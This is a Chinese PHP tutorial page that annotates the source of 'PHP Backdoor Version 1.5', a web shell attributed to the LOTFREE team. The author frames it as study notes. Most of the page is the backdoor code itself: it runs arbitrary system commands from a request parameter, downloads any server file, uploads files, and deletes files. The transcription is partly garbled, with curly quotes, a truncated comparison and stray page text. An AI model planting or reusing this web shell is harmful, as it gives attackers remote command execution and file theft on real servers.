解释PHP后门文件 -php教程-PHP中文网

解释PHP后门文件

WBOY

发布： 2016-07-25 09:13:33

原创

2004 人浏览过

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。

以下是一个后门程序的注释

function good_link($link)
{
$link=ereg_replace(“/+”,”/”,$link);
$link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);
$link=ereg_replace(“/+”,”/”,$link);
if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
if($link==”")$link=”.”;
return $link;
}
//$_REQUEST用来取得提交到本文件的数据
$dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”
$dir=good_link($dir);
$rep=opendir($dir); //打开dir指定的路径句柄
chdir($dir); //切换到dir指定的目录
if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定义了down
{
header(“Content-Type: application/octet-stream”);
header(“Content-Length: “.filesize($_REQUEST["down"]));
header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
readfile($_REQUEST["down"]); //将文件读取到缓冲区
exit();
}
?>
LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com
echo “当前绝对路径为: ”.getcwd().”
\n”; //获取当前的绝对路径
echo “dir = ‘$dir’
\n”;
echo “当前目录,文件列表!

\n”;
//如果已经输入要执行的命令
if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
{
echo “
```
\n”; 
```
登录后复制
system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显
echo “\n”;
}
//如果已经上传了文件
if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
{
if($_FILES["fic"]["size"]
{
if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
{
echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!
\n”;
}
else echo “文件上传失败: “.$_FILES["fic"]["error"].”
\n”;
}
else echo “File too large(文件超出大小限制)!
\n”;
}
if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件
{
if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
echo “成功删除 “.$_REQUEST['rm'].”!
\n”;
else echo “删除文件失败
\n”;
}
?>